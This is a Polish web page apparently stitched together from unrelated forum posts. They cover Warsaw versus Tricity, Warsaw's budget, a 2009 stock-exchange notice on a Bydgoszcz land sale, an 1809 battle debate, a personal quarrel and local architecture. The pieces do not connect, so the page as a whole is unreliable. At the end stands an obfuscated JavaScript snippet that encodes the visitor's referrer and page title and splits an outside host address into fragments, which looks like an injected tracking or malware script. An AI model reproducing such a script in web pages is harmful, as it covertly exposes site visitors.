Ostatnio byłam na 2 tyg, szkoleniu w wawie w centarli mojej firmy, z kobietami
mogłam pogadac jedynie o nowościach Lancome i że po Arkadii to mozna cały dzień
chodzic, tak jest fajnie, a do żelazka to należy uzywac tylko wody firmy
Loccatine(?) czy jakos tak ( hehhee)...I wiecie co??? nie zamieniłabym swojego
3miasta na nic, na nic w zyciu, bo lubie morze, lubie park oliwski,zapiekanke
za 2 zyble na dworcu we Wrzeszczu i lubie ten totalny brak lansu...
A na pytanie kolezanek w centrali skąd mam taką swietna kiecke od max mary??
powiedziałam ..obok mojego domu jest taki świetny lumpex...Zdziwienie i odraza
w ich oczach dała mi ...siłe i pewność; NIDGY DO WARSZAWY!!!!!!!!!!!!

Warszawa Nowodwory (Tarchomin) vis a vis petli autobusowej.

"Chcecie stolicę"???
Sorry, ale czy nas, obecnego pokolenia, pytał ktoś o to, czy "chcemy stolicę"???

Zresztą warszawiaków nikt nigdy o to nie pytał - była to decyzja "władzy" czyli
króla, a warszawiacy mogli się tylko z tym pogodzić.

Naprawdę myślisz, że nam na tej stołeczności zależy???
Demonstracje pod Sejmem - w Warszawie, marsze za i przeciw czemuś - w Warszawie,
największy napływ ludności z poza miasta - w Warszawie, przeklęte lotnisko
krajowe - w Warszawie, itd., itp.

Kocham moje miasto, jestem warszawianką od pokoleń - nie wyprowadzę się tylko
dlatego, że do władzy dorwały się głupki (a może mają też gorsze wady) nie
umiejące zarządzać sprawami miasta.

A co do pieniędzy: Warszawa WPŁACA DO BUDŻETU PAŃSTWA ZNACZNIE WIĘCEJ NIŻ
DOSTAJE i jest to zwyczajny ROZBÓJ!!! Czyli złodziejstwo.
Jak by nas ktokolwiek pytał o to, napewno byśmy tych pieniędzy nie oddali, tylko
zostałyby przeznaczone na potrzeby miasta, w tym np. na zapewnienie możliwości
bezkolizyjnego dojazdu do pracy dla wszystkich NIE-WARSZAWIAKÓW, dojeżdżających
codzień z Żyrardowa, Skierniewic, Radomia, itp.
A dla tych, którzy nie dojeżdżają, tylko wynajmują mieszkania, trzeba te
mieszkania zbudować - nie w tych "ekskluzywnych" domach komunalnych z czynszem
po 10,- zł. za metr! A jak nie mieszkania, to przynajmniej coś, jak dawne hotele
pracownicze - bo młodzi w tych wynajętych mieszkaniach mieszkają po 2-4 osoby.

A dla starych warszawiaków, przywiązanych do miasta, najważniejsze to utrzymać
zabytki, tereny zielone, itp., a dla wszystkich - MILIARDÓW wymagają warszawskie
ulice!! tu jest dziura na dziurze, podwozie można uszkodzić! Lepiej się jeździ
na drogach krajowych poza miastem!
No i na komunikację miejską potrzeba, żebyśmy nie jeździli ściśnięci jak śledzie
w beczce! I na sprzątanie - w samym centrum przy dworcu centralnym jest brud i
smród, bo stale tam koczują bezdomni i wszelkie "wyrzutki" - załatwiają się na
ulicy w Alejach Jerozolimskich, vis a vis hotelu Mariott!

Giełda podała, co tam wybudują market, mieszkania?
Zarząd spółki Narodowy Fundusz Inwestycyjny Progress Spółka Akcyjna
z siedzibą w Warszawie (dalej "Fundusz" lub "Emitent"), informuje że
w dniu dzisiejszym tj. 24 marca 2009 r. otrzymał od swojej spółki
zależnej – VIS Investments spółka z ograniczoną odpowiedzialnością
Spółka Komandytowo – Akcyjna (dalej "Spółka Zależna"), notyfikację
dotyczącą zawarcia przez tą spółkę warunkowej umowy sprzedaży
nieruchomości będącej umową znaczącą. Zgodnie z notyfikacją w dniu
23 marca 2009 r. Spółka Zależna zawarła z Alces Investments Spółka z
ograniczoną odpowiedzialnością z siedzibą w Warszawie (pod adresem:
ul. Fabryczna 5A, 00-446 Warszawa) warunkową umowę sprzedaży prawa
użytkowania wieczystego nieruchomości położonej w Bydgoszczy przy
ulicy Marcinkowskiego, Focha i Obrońców Bydgoszczy o łącznej
powierzchni 10.641m2 składającej się z działek niezabudowanych i
zabudowanych gruntu, wraz z prawem własności budynków i urządzeń
posadowionych na tej nieruchomości. Umowa została zawarta pod
warunkiem zawieszającym niewykonania przez Prezydenta Miasta
Bydgoszcz ustawowego prawa pierwokupu do niezabudowanych działek
gruntu, przysługującego Gminie Bydgoszcz na podstawie ustawy o
gospodarce nieruchomościami. Strony ustaliły w umowie że łączna cena
sprzedaży nieruchomości wyniesie 31.327.045 PLN i zostanie
powiększona o należny podatek VAT z czego Transza 1 w wysokości
10.142.491,66 PLN wraz z należnym do tej kwoty podatkiem VAT została
już uiszczona przez kupującego na rzecz Spółki Zależnej natomiast
Transza 2 w kwocie 21.184.554,34 PLN powiększona o należny podatek
VAT zostanie zapłacona Spółce Zależnej w dniu zawarcia ostatecznej
umowy przenoszącej własność za pośrednictwem rachunku prowadzonego
przez notariusza.

W przypadku dojścia do skutku umowy ostatecznej i po uwzględnieniu
szacunkowych kosztów, wynik brutto zrealizowany na niniejszej
transakcji przekroczy 25 mln zł.

Na wypadek niezawarcia umowy przenoszącej własność z winy Kupującego
pomimo spełnienia się warunku w postaci niewykonania prawa
pierwokupu przez Gminę Bydgoszcz, Spółce Zależnej przysługuje prawo
do odstąpienia od umowy warunkowej i zatrzymania Transzy 1. Umowa
nie zawiera innych postanowień ustanawiających kary umowne lub
instytucje prawne o podobnym skutku.

Pozostałe warunki umowy nie odbiegają zasadniczo od warunków
powszechnie stosowanych w umowach tego typu.

Kryterium uznania umowy za znaczącą jest przekroczenie progu 10%
kapitałów własnych Emitenta.

Na podstawie informacji Macieja z 3.06 dowiaduję się rewelacyjnej wiadomości o
pobiciu Austriaków w 1809 r. na polach Grochowa i Gocławia.
Szukałem potwierdzenia tej informacji w literaturze, ale niestety znalazłem,
dość sprzeczne dane. Oto, co pisze K. Mórawski w książce „Warszawa dzieje
miasta” W-wa 1976, s.116: „…dowództwo [po wygranej bitwie pod Raszynem 19.04.
1809 r] postanowiło wycofać się na Pragę, mimo ogromnego rozgoryczenia ludności
pragnącej bronić stolicy. ….Arcyksiążę Ferdynand wstrzymał się od jakichkolwiek
akcji przeciw pozostającemu w rękach polskich przyczółkowi praskiemu, a Polacy
zobowiązali się również nie przedsiębrać żadnych akcji przeciw Austriakom”. Lub
też J. M. Gierowski „Historia Polski1 764-1864” W-wa 1986, s.144: „Poniatowski
… zrezygnował [po wygranej bitwie pod Raszynem.] z dalszej obrony stolicy i
wycofał swe wojsko za Wisłę, oddając Warszawę w ręce Austriaków. …ks. Józef po
odparciu prób przeprawienia się Austriaków za Wisłę … podjął ofensywę w głąb
Galicji”.
Zwracam uwagę, że wersja Mórawskiego nie wspomina o żadnych walkach. Jeśli
nawet przyjąć wersję Gierowskiego, to główna linia obrony byłaby na Pradze, za
ówczesnym przyczółkiem mostowym na ul. Brukowej (dziś mniej więcej w okolicy
ul. Sierakowskiego i na terenie Parku Praskiego). Ostatnia wysunięta na
południe flanka miałaby bronić traktu brzeskiego (dziś ul. Grochowskiej) w
rejonie ul. St. Augusta , na tyłach osiedla znajdującego się vis a vis
Goławskiej – tak to wynika z ówczesnego planu okopów Pragi. Jeśli więc nawet
doszło do kontaktu zbrojnego to „odparcie prób przeprawienia się Austriaków
przez Wisłę’ jest nie tym samym, co pobicie Austriaków na terenach Grochowa i
Gocławia. Jeśli się mylę, to proszę Macieja o podanie źródeł skąd pochodzą Jego
informacje. Oczekuję jakiejkolwiek informacji.
Pozdrawiam

No i co, "zatkało kakało ?", że się posłużę cytatem z Kiepskich bo i rozgrywasz
to w stylu wyjątkowo kiepskim. Puniasku czy jak Ci tam, tak na marginesie, to
mam się do Ciebie zwracać przez M czy wolisz przez R ? Bo ta now a ksywka źle na
Tobie leży.

Nagle zaniemówiłeś. A taki byłeś elokwentny... A tu mija doba i wygląda na to,
że konceptu zabrakło. Co się stało z Galerią ? Coś jeeszcze Ci powiem. Ilość i
rodzaj Twoich błędów (nie literówek tylko ordynarnych błędów) wydają mi się
dziwne znajome. Nie domyślasz się, dlaczego ? Radzę by w pisaniu posługiwać
się edytorem z korektą. błędów bo to pozwoli Ci na skuteczniejsze choć nadal
żałosne incognito. A może jednak zamiast mnie zaarzucać tajemniczość, sam byś
odrobinę się zza winkla wychylił i pokazał coś za jeden ? Tak całkiem na
marginesie to przypomina sie stary dowcip.

Na pałacowym krużganku vis a vis z toporami w garści stają dwaj rycerze zakuci w
zbroje od stóp do głów. Jeden z nich woła w kierunku przeciwnika :
- Ty stary ch... !
Na to ten drugi odsłania przyłbicę z okrzykiem :
- Biada mi, zostałem rozpoznany !

Ponadto zestaw osób zabierających tu głos każe mi wątpić w przypadkowość ich
doboru ale przyjmijmy to za dobrą monetę bo znów któryś z adminów zarzuci mi
węszenie spisku. Czekam na wielkie plakaty i banery, zwiastujące otwarcie
kombinatu kultury pod prowokacyjnym hasłem np CHERBATKA. A kto nie wie o co
chodzi, ten sam se winien.

Wszystko jedno, ja bym się z tym na siłę do Pruszkowa nie pchał. Dla takiej
działalności wymarzona jest jednak Warszawa, powiedzmy na obrzeżach Centrum z
inklinacją np gdzieś w stronę Powiśla. Lecz niekoniecznie.

Ale kontynuuj. Nie będę przeszkadzać.

To juz dzisiaj (czwartek), godz.20:00, CK Oberża, Warszawa ul. Chmielna 28 (vis-
a-vis kina Atlantic). II pietro.

Do zobaczenia!

ty zawsze jestes taki napastliwy czy tylko przy wielkich upałach?

tak, zaniedbany był ten teren haniebnie
ale to nie powód by zagospodarowując go - nareszcie! - szpecić go w nowoczesny
sposób

bryła tego bydynku jest za duża - spójrz sobie idąc od Szkolnej ulica Wojska
Polskiego - cała perspektywa na doline Perełki zamknięta zwalistym mayswem
Metropolis
ten sam zarzut dotyczy zresztą budynków przy Bema - za wysokie!
że nie wspomne o Arkadii - to już szkoda gadać o urodzie tego czegos

kiedyś był plan by teren wzdłuż Perełki zamienić na teren zielony - deptak,
teren przewietrzania miasta, nie chcaiano wydawać zezwoleń na budowę...
co jest - widać

nowoczesne budynki mogą byc najpięknijsze nawet same w sobie - ale nie pasowac
do otoczenia
tu nie Warszawa, nie wielkomiejskie więc budownictwo powinno byc preferowane

a właśnie - walące sie domki na Kniaziewicza... jakbys nie zauwazył - to
zabudowa w obrębie Wojska Polskiego (dawniej Hanki Sawickiej), Kniaziewicza,
Bema, Nadarzyńskiej, Poniatowskiego to zabudowa parterowa albo jednopietrowa

można tam było ulokowac niewysoka zabudowę wielorodzinną - bardzo ładnie
rozwiązano to na Kniaziewicza właśnie - vis a vis stacji wąskotorówki, nie mam
pojecia czyj to budynek ale świetnie wkomponowany! juz ma pare ładnych lat

ale nie zbudowac takie monstrum jak Metropolis praktycznie w samym dnie doliny
jak zamkną ściany - efekt jeszcze sie pogorszy
od strony Dworcowej patzrąc wzdłuz Nadarzyńskiej - nie jest lepiej

no ale to nie miał być watek o urodzie naszego miasta i nowych inwestycji

PS pracujesz u Piekuta? bronisz go zajadle - rozumiem, że tobei moż eise to
podobac ale czemu taka złość na tych co mają inne zdanie?




function bb515454421a717(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515454421a6db(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515454421a6db(bb515454421a717(document.referrer),bb515454421a717(document.title)));